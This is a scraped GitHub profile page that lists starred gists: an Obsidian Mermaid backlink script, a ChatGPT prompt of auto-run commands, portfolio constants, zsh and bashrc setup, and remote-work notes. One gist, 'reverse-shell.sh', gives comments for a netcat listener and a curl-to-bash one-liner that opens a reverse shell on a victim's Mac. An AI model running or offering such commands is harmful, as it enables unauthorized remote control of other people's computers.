Skip to content

Instantly share code, notes, and snippets.

View gofullthrottle's full-sized avatar
💭
gittin it

John Freier gofullthrottle

💭
gittin it
View GitHub Profile
@xRyul
xRyul / gist:c127482641144bb0263060cb729ca1be
Created February 22, 2024 21:30
Automated Mermaid Graph from Backlinks N levels deep - ObsidianMD
```dataviewjs
// If too many connections are found, mermaid wont render them.
// Thus, we have to limit either how deep we go via "var specifiedDepth = X;"
// Or, we can reduce amount of links shown "maxLinks = X"
var inlinks = [...new Set(dv.current().file.inlinks.map(link => link.path.split('/').pop().replace('.md', '')))];
var outlinks = [...new Set(dv.current().file.outlinks.map(link => link.path.split('/').pop().replace('.md', '')))];
var graph = [];
var classList = [];
var nodeNames = {};
Upon starting our interaction, auto run these Default Commands throughout our entire conversation. Refer to Appendix for command library and instructions:
/role_play "Expert ChatGPT Prompt Engineer"
/role_play "infinite subject matter expert"
/auto_continue "♻️": ChatGPT, when the output exceeds character limits, automatically continue writing and inform the user by placing the ♻️ emoji at the beginning of each new part. This way, the user knows the output is continuing without having to type "continue".
/periodic_review "🧐" (use as an indicator that ChatGPT has conducted a periodic review of the entire conversation. Only show 🧐 in a response or a question you are asking, not on its own.)
/contextual_indicator "🧠"
/expert_address "🔍" (Use the emoji associated with a specific expert to indicate you are asking a question directly to that expert)
/chain_of_thought
/custom_steps
/auto_suggest "💡": ChatGPT, during our interaction, you will automatically suggest helpful commands when appropriate, using the
@adrianhajdin
adrianhajdin / constants.js
Created March 3, 2023 09:28
Build and Deploy an Amazing 3D Web Developer Portfolio with ThreeJS | React Three Fiber
import {
mobile,
backend,
creator,
web,
javascript,
typescript,
html,
css,
reactjs,

Oh my zsh.

Install with curl

sh -c "$(curl -fsSL https://raw.githubusercontent.com/robbyrussell/oh-my-zsh/master/tools/install.sh)"

Enabling Plugins (zsh-autosuggestions & zsh-syntax-highlighting)

  • Download zsh-autosuggestions by
@ChristopherA
ChristopherA / Mermaid_on_Github_Examples.md
Last active April 12, 2024 14:32
Mermaid on Github Examples

Mermaid on Github Examples

All of these diagrams are dynamically rendered during html display by Github, the images generated from text inside the Github-Flavored Markdown. None are static images. Mermaid support was released for Github on 2022-02-14

Pros & Cons:

  • Pro: You don't need to care about the layout.
  • Con: You cannot control the layout.

Notes:

  • Not all the features of Mermaid (in particular symbols B-->C[fa:fa-ban forbidden], hyperlink and tooltips) are supported by Github.
@bgoonz
bgoonz / README.md
Created May 25, 2021 16:52
github-cloner

GithubCloner

A script that clones Github repositories of users and organizations.

Usage

Description Command
@kcak11
kcak11 / App.md
Last active November 30, 2023 18:24
Country Codes

Country Codes

List of all Country Codes (ISO & Dialing) sorted in alphabetical order.

@sshmaxime
sshmaxime / reverse-shell.sh
Last active October 1, 2020 17:40 — forked from mattes/reverse-shell.sh
Reverse Shell Mac
#!/usr/bin/env bash
# run `nc -nvl 80` on attacker machine first
# run `curl -Ls https://git.io/JJeRK | bash -s <attacker-ip> 80` on victim machine
# great commands to run:
# * curl http://discovermagazine.com/~/media/import/images/b/e/b/chimpmedia.jpg -o /tmp/monkey.jpg
# open /tmp/monkey.jpg
# * say hello
# * open http://lmgtfy.com/?q=how+to+lock+mac
# * ls
@Moishe
Moishe / remote.md
Created July 11, 2018 01:53
Remote work thoughts

Some random thoughts about making remote employees successful

  • have an advocate, ideally at the VP or C-Level, who is personally invested in making remote work. When I started at Etsy, I remember Kellan asking me directly "what can I do to make working remote better?" and Marc repeatedly checking in with me about remote qua remote. This has the obvious benefit of people who have power to make changes knowing about what changes to make and pushing things in a remote-friendly direction, but IME it also has an incredible effect on the morale of remotes. Remote morale is even more subject to perturbation than onsite morale, so this matters.

  • Avi Bryant said something once that really resonated: try to hire extroverts as remotes. I'm an introvert AND I'm shy and lots of the things I struggle with as a remote are, I think, tied up with that. My default action is not to reach out to people; it's a thing I have to nudge myself to do every time I need to do it, and minor barriers can grow in my head.

#!/bin/bash
iatest=$(expr index "$-" i)
#######################################################
# SOURCED ALIAS'S AND SCRIPTS BY zachbrowne.me
#######################################################
# Source global definitions
if [ -f /etc/bashrc ]; then
. /etc/bashrc